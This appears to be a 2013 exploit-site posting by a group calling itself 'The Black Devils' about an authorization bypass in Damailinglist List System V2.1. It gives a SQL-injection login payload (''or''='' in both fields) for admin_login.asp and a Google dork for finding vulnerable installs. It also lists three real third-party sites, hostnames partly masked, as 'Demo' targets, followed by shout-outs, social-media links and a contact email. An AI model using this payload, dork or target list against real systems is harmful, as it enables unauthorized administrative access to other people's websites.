Damailinglist List System V2.1 Authorization Bypass Vulnerability

2013.04.08

Credit: The Black Devils

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: List System V2.1 inurl:admin_login.asp

# Title : Damailinglist List System V2.1 Authorization Bypass Vulnerability
# Date: 2013-04-03
# Credit: This Bug was founded by Asesino04 "The Black Devils"
# Tested on: Windows XP SP2
# Category: [webapps]
# Dork :List System V2.1 inurl:admin_login.asp
# Special Thanks To : sH3LL05Dz & Lady NEXA & x3o-1337
  
# Please Like The New Fb page  : https://fb.com/Th3.Black.D3Vils
-----------
http://127.0.0.1/[path]/admin_login.asp
UserNmae:'or''='
Password:'or''='
 
 
 
 
Demo :
http://www.aX.tn.it/damailinglist/admin_login.asp
http://kufu.kXcrs-robp.com:82/damailinglist/admin_login.asp
http://www.bkXnt.co.uk/damailinglist/admin_login.asp
-----------
Thanks To : | r0073r | KedAns-Dz | D4RKCR1PT3R | Keystr0ke | x3o-1337 | &#200;lite Tr&#216;jan | sH3LL05Dz
            | Ana Eve | DZ Combattant | Muhammad Talha Khan | r4dc0re | SeeMe CrosS | Zikou-16 | DaOne
            | Angel Injection | NuxbieCyber | Tibit | Sammy FORGIT | D4NB4R beBoss | LORDOFDARKNES
            | All Dz hackerz
-----------
 Contact:
# Fane Page : www.facebook.com/Th3.Black.D3Vils
# Youtube  : www.youtube.com/user/Th3BlackDevils
# Facebook : www.facebook.com/DevilsDz
# Email    : mr.k4rizma@gmail.com

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Damailinglist List System V2.1 Authorization Bypass Vulnerability

Dork: List System V2.1 inurl:admin_login.asp

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.